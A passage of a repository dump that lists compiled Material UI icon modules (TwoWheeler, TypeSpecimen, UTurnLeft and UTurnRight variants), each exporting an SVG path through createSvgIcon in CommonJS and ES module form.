9H20V6l-3.72 1.86zM20 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheelerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheelerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.17 11H4zm9.24-6H9v2h3.59l2 2H11l-4 2-2-2H0v2h4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4l2 2h3l3.49-6.1 1.01 1.01c-.91.73-1.5 1.84-1.5 3.09 0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4c-.18 0-.36.03-.53.05L17.41 9H20V6l-3.72 1.86zM20 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheelerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheelerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.17 11H4zm9.24-6H9v2h3.59l2 2H11l-4 2-2-2H0v2h4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4l2 2h3l3.49-6.1 1.01 1.01c-.91.73-1.5 1.84-1.5 3.09 0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4c-.18 0-.36.03-.53.05L17.41 9H20V6l-3.72 1.86zM20 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheelerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoWheelerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.17 11H4zm9.24-6H9v2h3.59l2 2H11l-4 2-2-2H0v2h4c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4l2 2h3l3.49-6.1 1.01 1.01c-.91.73-1.5 1.84-1.5 3.09 0 2.21 1.79 4 4 4s4-1.79 4-4-1.79-4-4-4c-.18 0-.36.03-.53.05L17.41 9H20V6l-3.72 1.86zM20 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M4 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'TwoWheelerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.37 12.5-.8-2.3H12.2l-.82 2.3H9.81l3.38-9h1.61l3.38 9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.96 7.17-1.31 3.72h2.69l-1.3-3.72z\"\n}, \"2\")], 'TypeSpecimen');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.37 12.5-.8-2.3H12.2l-.82 2.3H9.81l3.38-9h1.61l3.38 9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.96 7.17-1.31 3.72h2.69l-1.3-3.72z\"\n}, \"2\")], 'TypeSpecimen');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.19 12.2h3.63l.8 2.3h1.56l-3.38-9h-1.6l-3.38 9h1.56zm1.77-5.03h.08l1.31 3.72h-2.69z\"\n}, \"2\")], 'TypeSpecimenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.19 12.2h3.63l.8 2.3h1.56l-3.38-9h-1.6l-3.38 9h1.56zm1.77-5.03h.08l1.31 3.72h-2.69z\"\n}, \"2\")], 'TypeSpecimenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H4V7c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.54 12.01-.63-1.82H12.2l-.65 1.82c-.1.29-.38.48-.68.48-.51 0-.86-.51-.68-.98l2.73-7.27c.16-.44.6-.74 1.08-.74s.92.3 1.09.75l2.73 7.27c.18.47-.17.98-.68.98-.31 0-.58-.19-.68-.49\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.96 7.17-1.31 3.72h2.69l-1.3-3.72z\"\n}, \"2\")], 'TypeSpecimenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H4V7c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3.54 12.01-.63-1.82H12.2l-.65 1.82c-.1.29-.38.48-.68.48-.51 0-.86-.51-.68-.98l2.73-7.27c.16-.44.6-.74 1.08-.74s.92.3 1.09.75l2.73 7.27c.18.47-.17.98-.68.98-.31 0-.58-.19-.68-.49\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.96 7.17-1.31 3.72h2.69l-1.3-3.72z\"\n}, \"2\")], 'TypeSpecimenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v16h16v-2H4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H6v16h16zm-5.37 12.5-.8-2.3H12.2l-.82 2.3H9.81l3.38-9h1.61l3.38 9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.96 7.17-1.31 3.72h2.69l-1.3-3.72z\"\n}, \"2\")], 'TypeSpecimenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v16h16v-2H4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H6v16h16zm-5.37 12.5-.8-2.3H12.2l-.82 2.3H9.81l3.38-9h1.61l3.38 9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.96 7.17-1.31 3.72h2.69l-1.3-3.72z\"\n}, \"2\")], 'TypeSpecimenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.04 7.17h-.08l-1.31 3.72h2.69z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h12V4H8zm5.2-10.5h1.61l3.38 9h-1.56l-.8-2.3H12.2l-.82 2.3H9.81z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.19 12.2h3.63l.8 2.3h1.56l-3.38-9h-1.6l-3.38 9h1.56zm1.77-5.03h.08l1.31 3.72h-2.69z\"\n}, \"4\")], 'TypeSpecimenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TypeSpecimenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.04 7.17h-.08l-1.31 3.72h2.69z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h12V4H8zm5.2-10.5h1.61l3.38 9h-1.56l-.8-2.3H12.2l-.82 2.3H9.81z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.19 12.2h3.63l.8 2.3h1.56l-3.38-9h-1.6l-3.38 9h1.56zm1.77-5.03h.08l1.31 3.72h-2.69z\"\n}, \"4\")], 'TypeSpecimenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9v12h-2V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l1.59-1.59L11 13l-4 4-4-4 1.41-1.41L6 13.17V9c0-3.31 2.69-6 6-6s6 2.69 6 6\"\n}), 'UTurnLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9v12h-2V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l1.59-1.59L11 13l-4 4-4-4 1.41-1.41L6 13.17V9c0-3.31 2.69-6 6-6s6 2.69 6 6\"\n}), 'UTurnLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9v12h-2V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l1.59-1.59L11 13l-4 4-4-4 1.41-1.41L6 13.17V9c0-3.31 2.69-6 6-6s6 2.69 6 6\"\n}), 'UTurnLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9v12h-2V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l1.59-1.59L11 13l-4 4-4-4 1.41-1.41L6 13.17V9c0-3.31 2.69-6 6-6s6 2.69 6 6\"\n}), 'UTurnLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.71 12.29c.39-.39 1.02-.39 1.41 0l.88.88V9c0-3.31 2.69-6 6-6s6 2.69 6 6v11c0 .55-.45 1-1 1s-1-.45-1-1V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l.88-.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L7.7 16.29c-.39.39-1.02.39-1.41 0L3.7 13.7c-.38-.38-.38-1.02.01-1.41\"\n}), 'UTurnLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.71 12.29c.39-.39 1.02-.39 1.41 0l.88.88V9c0-3.31 2.69-6 6-6s6 2.69 6 6v11c0 .55-.45 1-1 1s-1-.45-1-1V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l.88-.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L7.7 16.29c-.39.39-1.02.39-1.41 0L3.7 13.7c-.38-.38-.38-1.02.01-1.41\"\n}), 'UTurnLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9v12h-2V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l1.59-1.59L11 13l-4 4-4-4 1.41-1.41L6 13.17V9c0-3.31 2.69-6 6-6s6 2.69 6 6\"\n}), 'UTurnLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9v12h-2V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l1.59-1.59L11 13l-4 4-4-4 1.41-1.41L6 13.17V9c0-3.31 2.69-6 6-6s6 2.69 6 6\"\n}), 'UTurnLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9v12h-2V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l1.59-1.59L11 13l-4 4-4-4 1.41-1.41L6 13.17V9c0-3.31 2.69-6 6-6s6 2.69 6 6\"\n}), 'UTurnLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9v12h-2V9c0-2.21-1.79-4-4-4S8 6.79 8 9v4.17l1.59-1.59L11 13l-4 4-4-4 1.41-1.41L6 13.17V9c0-3.31 2.69-6 6-6s6 2.69 6 6\"\n}), 'UTurnLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 9v12h2V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-1.59-1.59L13 13l4 4 4-4-1.41-1.41L18 13.17V9c0-3.31-2.69-6-6-6S6 5.69 6 9\"\n}), 'UTurnRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 9v12h2V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-1.59-1.59L13 13l4 4 4-4-1.41-1.41L18 13.17V9c0-3.31-2.69-6-6-6S6 5.69 6 9\"\n}), 'UTurnRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 9v12h2V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-1.59-1.59L13 13l4 4 4-4-1.41-1.41L18 13.17V9c0-3.31-2.69-6-6-6S6 5.69 6 9\"\n}), 'UTurnRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 9v12h2V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-1.59-1.59L13 13l4 4 4-4-1.41-1.41L18 13.17V9c0-3.31-2.69-6-6-6S6 5.69 6 9\"\n}), 'UTurnRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.29 12.29a.996.996 0 0 0-1.41 0l-.88.88V9c0-3.31-2.69-6-6-6S6 5.69 6 9v11c0 .55.45 1 1 1s1-.45 1-1V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-.88-.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.59 2.59c.39.39 1.02.39 1.41 0l2.59-2.59c.38-.38.38-1.02-.01-1.41\"\n}), 'UTurnRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.29 12.29a.996.996 0 0 0-1.41 0l-.88.88V9c0-3.31-2.69-6-6-6S6 5.69 6 9v11c0 .55.45 1 1 1s1-.45 1-1V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-.88-.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.59 2.59c.39.39 1.02.39 1.41 0l2.59-2.59c.38-.38.38-1.02-.01-1.41\"\n}), 'UTurnRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 9v12h2V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-1.59-1.59L13 13l4 4 4-4-1.41-1.41L18 13.17V9c0-3.31-2.69-6-6-6S6 5.69 6 9\"\n}), 'UTurnRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 9v12h2V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-1.59-1.59L13 13l4 4 4-4-1.41-1.41L18 13.17V9c0-3.31-2.69-6-6-6S6 5.69 6 9\"\n}), 'UTurnRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 9v12h2V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-1.59-1.59L13 13l4 4 4-4-1.41-1.41L18 13.17V9c0-3.31-2.69-6-6-6S6 5.69 6 9\"\n}), 'UTurnRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UTurnRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 9v12h2V9c0-2.21 1.79-4 4-4s4 1.79 4 4v4.17l-1.59-1.59L13 13l4 4 4-4-1.41-1.41L18 13.17V9c0-3.31-2.69-6-6-6S6 5.69 6 9\"\n}), 'UTurnRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Umbrella.js",
